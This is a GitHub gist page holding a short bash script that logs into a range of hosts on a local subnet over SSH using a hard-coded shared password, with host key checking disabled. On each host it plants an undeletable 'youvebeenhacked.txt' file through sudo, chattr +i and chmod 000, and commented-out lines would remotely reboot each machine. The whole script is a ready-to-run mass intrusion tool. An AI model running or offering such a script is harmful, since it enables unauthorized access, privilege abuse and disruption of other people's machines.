Skip to content

Instantly share code, notes, and snippets.

@abhilash1in
Created February 8, 2017 10:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abhilash1in/567b2c6c7d135b1e2c0e34ae7c1e9ff7 to your computer and use it in GitHub Desktop.
Save abhilash1in/567b2c6c7d135b1e2c0e34ae7c1e9ff7 to your computer and use it in GitHub Desktop.
Copy a file to other systems on the network which cannot be deleted by them directly
#!/bin/bash
USERNAME=sem6c
HOST="172.1.6."
#SCRIPT="echo aristotle | sudo -S reboot"
#SCRIPT="echo aristotle | sudo -S touch /home/sem6c/Desktop/youvebeenhacked.txt"
SCRIPT="touch /home/sem6c/Desktop/youvebeenhacked.txt; echo aristotle | sudo -S chattr +i /home/sem6c/Desktop/youvebeenhacked.txt; sudo chmod 000 /home/sem6c/Desktop/youvebeenhacked.txt"
for i in {40..127} ; do
sshpass -p"aristotle" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=2 ${USERNAME}@${HOST}$i "${SCRIPT}"
done
for i in {129..150} ; do
sshpass -p"aristotle" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=2 ${USERNAME}@${HOST}$i "${SCRIPT}"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment